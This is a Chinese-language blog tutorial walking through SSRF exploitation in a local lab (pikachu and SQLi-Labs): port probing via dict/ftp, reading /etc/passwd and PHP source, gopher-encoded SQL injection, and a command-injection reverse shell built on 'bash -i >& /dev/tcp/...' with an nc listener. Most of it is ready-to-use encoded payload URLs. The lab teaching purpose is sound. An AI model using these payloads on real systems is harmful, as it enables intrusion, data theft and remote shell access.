Web渗透-SSRF漏洞(二)

1.1 SSRF介绍

1.1.1 SSRF简介

SSRF(Server-Side Request Forgery,服务器端请求伪造)通过篡改HTTP请求中的资源地址发送给服务器,服务器没有校验请求的合法性就解析用户传递过来的请求,处理之后返回给用户。

例如:

  1. HTTP请求: www.xxoo.cn/xxx.php?image = http://www.baidu.com/free.jpg
  2. 服务器接收到请求之后获取http://www.baidu.com/free.jpg图片
  3. 服务器获取到图片后将图片返回给用户

问题产生在第二步,服务器会向第三方站点发送请求并获取资源文件,如果网站对资源文件的地址没有做合法性校验则用户可以构造任意请求让服务器来执行。

1.1.2 SSRF用途

  1. 内外网的端口和服务扫描
  2. 主机本地敏感数据的读取
  3. 内外网主机应用程序漏洞的利用
  4. 内外网Web站点漏洞的利用

1.1.3 SSRF漏洞常见位置

  1. 分享:通过URL地址分享网页内容
  2. 转码服务
  3. 在线翻译
  4. 图片加载与下载:通过URL地址加载或下载图片
  5. 图片、文章收藏功能
  6. 未公开的api实现以及其他调用URL的功能
  7. 从URL关键字中寻找:share、wap、url、lik、src、source、target、u、3g、display、sourceURI、imageURL、domain

1.2 SSRF漏洞利用

1.2.1 实验环境

序号 主机IP 主机系统 主机角色
1 192.168.10.180 Kali 攻击机
2 192.168.10.159 Centos7 64位 pikachu / SQLi-Lab

1.2.2 漏洞分析

URL地址:

http://192.168.10.159/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

图片[1]|Web渗透-SSRF漏洞(二)|leon的博客

分析URL地址,通过url参数加载远程的资源信息,这里的诗句是由后面的info1.php输出的:

图片[2]|Web渗透-SSRF漏洞(二)|leon的博客

1.2.3 利用漏洞进行端口扫描

修改url远程资源地址为我们想要探测的端口。

注意: HTTP协议探测时则SSH、Web等服务可以探测出回显信息,可以尝试其它的协议进行探测。

1.2.3.1 探测ssh端口

http://192.168.10.159/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.10.159:22

图片[3]|Web渗透-SSRF漏洞(二)|leon的博客

1.2.3.2 探测mysql

http://192.168.10.159/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.10.15:3306

图片[4]|Web渗透-SSRF漏洞(二)|leon的博客

1.2.3.3 使用ftp协议探测

http://192.168.10.159/pikachu/vul/ssrf/ssrf_curl.php?url=ftp://192.168.10.159:22
http://192.168.10.159/pikachu/vul/ssrf/ssrf_curl.php?url=ftp://192.168.10.159:21

端口开放则一直等待响应,不开放则直接返回,这样我们也可以通过状态来判断端口是否开放:

图片[5]|Web渗透-SSRF漏洞(二)|leon的博客

图片[6]|Web渗透-SSRF漏洞(二)|leon的博客

1.2.4 利用漏洞进行文件读取

1.2.4.1 读取系统文件

http://192.168.10.159/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd

图片[7]|Web渗透-SSRF漏洞(二)|leon的博客

1.2.4.2 读取php文件

读取php文件需要使用php://但是在curI_ exec()中不能读取php文件。

http://192.168.10.159/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=/var/www/html/phpinfo.php

【命令解释】:

  • file_get_content:不支持https,支持http,支持php://内置协议
  • php://filter:是一种元封装器,设计用于数据流打开时的筛选过滤应用,这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、 file() 和file_ get contents(),在数据流内容读取之前没有机会应用其他过滤器。

图片[8]|Web渗透-SSRF漏洞(二)|leon的博客

  • base64-encode/resource:转码为base64格式,php文件不能被直接读取,需要经过base64编码之后才能被读取。

图片[9]|Web渗透-SSRF漏洞(二)|leon的博客

1.3 SSRF的gopher协议扩展利用

1.3.1 gopher协议介绍

Gopher在HTTP协议前是非常有名的信息查找系统,但是WWW万维网出现之后Gopher逐渐没落,但是在SSRF漏洞中Gopher协议让漏洞利用更加灵活,利用此协议可以对ftp,memcache,mysq|,telnet,redis等服务进行攻击,可以构造发送GET/ POST请求包。

1.3.2 gopher语法

Gopher协议语法格式:

gopher:// <host>:<port> /<gopher-path> 后面接TCP数据流

1.3.2.1 语法示例

$ curl gopher://192.168.10.180:4444/abcd

图片[10]|Web渗透-SSRF漏洞(二)|leon的博客

需要注意的是abcd的第一个字符被自动去除了,所以通常我们提交请求时第一个字符使用下划线_来表示。例如:

$ curl gopher://192.168.10.180:4444/_abcd

图片[11]|Web渗透-SSRF漏洞(二)|leon的博客

1.3.3 gopher发送get请求

1.3.3.1 创建测试文件

# vim /var/www/html/get.php
<?php
  echo "Hello ".$_GET["name"]."\n"
?>

1.3.3.2 获取GET请求

请求地址:http://192.168.10.180/get.php?name=free

图片[12]|Web渗透-SSRF漏洞(二)|leon的博客

1.3.3.3 进行URL编码

编码内容:

GET /get.php?name=free HTTP/1.1
Host: 192.168.10.180

编码后结果:

_GET%20/get.php%3Fname%3Dfree%20HTTP/1.1%0D%0AHost%3A%20192.168.10.180%0D%0A

【编码说明】:

  • GET前添加下划线_ , 因为第一个字符会被吃掉
  • 空格以及冒号换行等特殊字符需要转换为URL编码,注意/不要进行URL编码,换行符通过工具在进行URL编码时会被编码成%0A,但是在HTTP请求中正确的换行符应该是%0D%0A,所以工具编码后需要手工替换%0A为%0D%0A,并且在HTTP请求也需要以%0D%0A来作为结尾

1.3.3.4 构建完整URL

gopher://192.168.10.180:80/_GET%20/get.php%3Fname%3Dfree%20HTTP/1.1%0D%0AHost%3A%20192.168.10.180%0D%0A

1.3.3.5 进行get请求

图片[13]|Web渗透-SSRF漏洞(二)|leon的博客

1.3.4 gopher发送post请求

1.3.4.1 创建测试文件

# vim /var/www/html/post.php
<?php
  echo "Hello ".$_POST["name"]."\n"
?>

1.3.4.2 获取post请求

使用hackbar提交post请求:http://192.168.10.180/post.php

图片[14]|Web渗透-SSRF漏洞(二)|leon的博客

1.3.4.3 进行URL编码

编码内容:

POST /post.php?HTTP/1.1
Host: 192.168.10.180
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
name=free

编码后结果:

_POST%20/post.php%20HTTP/1.1%0D%0AHost%3A%20192.168.10.180%0D%0AContent-Length%3A%209%0D%0AContent- Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Aname%3Dfree%0D%0A

【编码说明】:

  • Content-Length:用于描述HTTP消息实体的传输长度也就是POST传输的内容长度,比如name=free字节长度为9
  • Content-Type:用来执行传输内容的类型
  • application/x-www-form-urlencoded:HTTP会将请求参数用key1 =val1&key2=val2的方式进行组织并放到请求实体里面,注意如果是中文或特殊字符如”/”、”,”、 “:” 等会自动进行URL转码,不支持文件,一般用于表单提交

1.3.4.4 构建完整URL

gopher://192.168.10.180:80/_POST%20/post.php%20HTTP/1.1%0D%0AHost%3A%20192.168.10.180%0D%0AContent-Length%3A%209%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Aname%3Dfree%0D%0A

1.3.4.5 进行post请求

图片[15]|Web渗透-SSRF漏洞(二)|leon的博客

1.4 SSRF的gopher协议进行GET请求的SQL注入

1.4.1 构建正常sql注入请求

http://192.168.10.159/sqli-labs/Less-1/?id=-1'union select 1,user(),database() -- +

1.4.2 尝试通过SSRF进行注入

首先直接访问报错,原因是后面的sql注入语句的特殊字符导致的,所以需要进行URL编码。

图片[16]|Web渗透-SSRF漏洞(二)|leon的博客

1.4.2.1 进行URL编码

使用hackbar进行编码,选中要编码的内容再选择URL encode:

图片[17]|Web渗透-SSRF漏洞(二)|leon的博客

第一次编码后编码了空格以及+:

-1'union%20select%201%2cuser()%2cdatabase()%20--%20%2b

第二次编码将上一次的编码所产生的%编码为%25:

-1'union%2520select%25201%252cuser()%252cdatabase()%2520--%2520%252b

因为发给服务器的时候URL地址中不能包含特殊字符,所以先解码第二次编码产生的%25,服务器接收到我们的URL地址之后由url_ exec()解析URL地址,此时服务器进行第二次解码,此次解码则解码第一次编码时的空格以及特殊字符,所以需要进行两次编码。

1.4.3 获取GET请求

图片[18]|Web渗透-SSRF漏洞(二)|leon的博客

1.4.4 进行URL编码

编码内容:

GET /sqli-labs/Less-1/?id=-1%27union%20select%201,user(),database()%20--%20+ HTTP/1.1
Host: 192.168.10.159

使用gopher_encode.py编码后结果:

_GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29%2520--%2520%2B%20HTTP/1.1%0D%0AHost%3A%20192.168.10.159%0D%0A

1.4.5 构建完整payload

http://192.168.10.159/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://192.168.10.159:80/_GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29%2520--%2520%2B%20HTTP/1.1%0D%0AHost%3A%20192.168.10.159%0D%0A

1.4.6 进行注入

payload进行编码后注入:(标红位置注意需要修改为大写字母)

http://192.168.10.159/pikachu/vul/ssrf/ssrf_curl.php?url=gopher%3a%2f%2f192.168.10.159%3a80%2f_GET%2520%2fsqli-labs%2fLess-1%2f%253fid%253d-1%252527union%252520select%2525201%252cuser%2528%2529%252cdatabase%2528%2529%252520--%252520%252b%2520HTTP%2f1.1%250d%250aHost%253a%2520192.168.10.159%250d%250a

图片[19]|Web渗透-SSRF漏洞(二)|leon的博客

1.5 SSRF的gopher协议进行POST请求的SQL注入

1.5.1 构建正常sql注入请求

uname=0admin'union select user(),database() -- +

1.5.2 获取POST请求

图片[20]|Web渗透-SSRF漏洞(二)|leon的博客

1.5.3 进行URL编码

编码内容:

POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.10.159
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

uname=0admin'union select user(),database() -- +&passwd=password&submit=Submit

使用gopher_encode.py编码后结果:

_POST%20/sqli-labs/Less-11/%20HTTP/1.1%0D%0AHost%3A%20192.168.10.159%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2078%0D%0A%0D%0Auname%3D0admin%27union%20select%20user%28%29%2Cdatabase%28%29%20--%20%2B%26passwd%3Dpassword%26submit%3DSubmit%0D%0A

1.5.4 构建完整payload

http://192.168.10.159/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://192.168.10.159:80/_POST%20/sqli-labs/Less-11/%20HTTP/1.1%0D%0AHost%3A%20192.168.10.159%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2078%0D%0A%0D%0Auname%3D0admin%27union%20select%20user%28%29%2Cdatabase%28%29%20--%20%2B%26passwd%3Dpassword%26submit%3DSubmit%0D%0A

1.5.5 进行注入

payload进行编码后注入:(标红位置注意需要修改为大写字母)

http://192.168.10.159/pikachu/vul/ssrf/ssrf_curl.php?url=gopher%3a%2f%2f192.168.10.159%3a80%2f_POST%2520%2fsqli-labs%2fLess-11%2f%2520HTTP%2f1.1%250d%250aHost%253a%2520192.168.10.159%250d%250aContent-Type%253a%2520application%2fx-www-form-urlencoded%250d%250aContent-Length%253a%252078%250d%250a%250d%250auname%253d0admin%2527union%2520select%2520user%2528%2529%252cdatabase%2528%2529%2520--%2520%252b%2526passwd%253dpassword%2526submit%253dSubmit%250d%250a

图片[21]|Web渗透-SSRF漏洞(二)|leon的博客

1.6 实例:通过命令注入反弹shell

1.6.1 创建监听

┌──(root kali)-[~]
└─# nc -lvp 4444

1.6.2 通过命令注入反弹shell

127.0.0.1;bash -i >& /dev/tcp/192.168.10.180/4444 0>&1

1.6.3 获取post请求

图片[22]|Web渗透-SSRF漏洞(二)|leon的博客

1.6.4 进行url编码

编码内容:

POST /pikachu/vul/rce/rce_ping.php?HTTP/1.1
Host: 192.168.10.159
Content-Type: application/x-www-form-urlencoded
Content-Length: 94

ipaddress=127.0.0.1%3Bbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.10.180%2F4444+0%3E%261&submit=ping

使用gopher_encode.py编码后结果:

_POST%20/pikachu/vul/rce/rce_ping.php%20HTTP/1.1%0D%0AHost%3A%20192.168.10.159%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2094%0D%0A%0D%0Aipaddress%3D127.0.0.1%253Bbash%2B-i%2B%253E%2526%2B%252Fdev%252Ftcp%252F192.168.10.180%252F4444%2B0%253E%25261%26submit%3Dping%0D%0A

1.6.5 构建完整payload

http://192.168.10.159/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://192.168.10.159:80/_POST%20/pikachu/vul/rce/rce_ping.php%20HTTP/1.1%0D%0AHost%3A%20192.168.10.159%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2094%0D%0A%0D%0Aipaddress%3D127.0.0.1%253Bbash%2B-i%2B%253E%2526%2B%252Fdev%252Ftcp%252F192.168.10.180%252F4444%2B0%253E%25261%26submit%3Dping%0D%0A

1.6.6 进行注入

payload进行编码后注入:(标红位置注意需要修改为大写字母)

http://192.168.10.159/pikachu/vul/ssrf/ssrf_curl.php?url=gopher%3a%2f%2f192.168.10.159%3a80%2f_POST%2520%2fpikachu%2fvul%2frce%2frce_ping.php%2520HTTP%2f1.1%250d%250aHost%253a%2520192.168.10.159%250d%250aContent-Type%253a%2520application%2fx-www-form-urlencoded%250d%250aContent-Length%253a%252094%250d%250a%250d%250aipaddress%253d127.0.0.1%25253bbash%252b-i%252b%25253e%252526%252b%25252fdev%25252ftcp%25252f192.168.10.180%25252f4444%252b0%25253e%2525261%2526submit%253dping%250d%250a

图片[23]|Web渗透-SSRF漏洞(二)|leon的博客

图片[24]|Web渗透-SSRF漏洞(二)|leon的博客

温馨提示:本文最后更新于2022-12-20 20:57:34,已超过455天没有更新。某些文章具有时效性,若文章内容或图片资源有错误或已失效,请联系站长。谢谢!
转载请注明本文链接:https://blog.leonshadow.cn/763482/2728.html
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享